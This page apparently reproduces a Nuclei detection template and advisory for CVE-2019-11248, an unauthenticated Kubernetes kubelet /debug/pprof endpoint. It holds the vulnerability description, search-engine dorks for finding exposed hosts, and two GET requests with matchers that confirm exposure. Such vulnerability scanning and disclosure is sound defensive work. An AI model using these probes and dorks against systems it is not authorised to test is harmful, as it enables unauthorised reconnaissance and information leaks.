CVE-2019-11248: Debug Endpoint pprof - Exposure Detection

2025-08-01 Debug Endpoint pprof PoC Public

Description

The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.

PoC

id: CVE-2019-11248

info:
  name: Debug Endpoint pprof - Exposure Detection
  author: 0xceeb,ritikchaddha
  severity: high
  description: |
    The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.
  impact: |
    An attacker can exploit this vulnerability to gather sensitive information, potentially leading to further attacks.
  remediation: |
    Disable or restrict access to the Debug Endpoint pprof to prevent unauthorized access.
  reference:
    - https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
    - http://mmcloughlin.com/posts/your-pprof-is-showing
    - https://github.com/kubernetes/kubernetes/issues/81023
    - https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11248
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.2
    cve-id: CVE-2019-11248
    cwe-id: CWE-862,CWE-419
    epss-score: 0.7506
    epss-percentile: 0.99482
    cpe: cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kubernetes
    product: kubernetes
    shodan-query: http.title:"kubernetes web view"
    fofa-query:
      - title="kubernetes web view"
      - app="kubernetes-enterprise-manager"
    google-query: intitle:"kubernetes web view"
  tags: cve2019,cve,debug,kubernetes,kubelet,devops,unauth,disclosure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/debug/pprof/"
      - "{{BaseURL}}/debug/pprof/goroutine?debug=1"

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "Types of profiles available:"
          - "Profile Descriptions"
          - "goroutine profile: total"
        condition: or
# digest: 490a0046304402206f52537cad46ebd4ac54cf78ce10b676296065f36a1712ef6536e224d4c4310102200a0862cb23f56110834d87841537369d52e60665bb6da3da96e147ea644851d9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11248.yaml

References

Related Vulnerabilities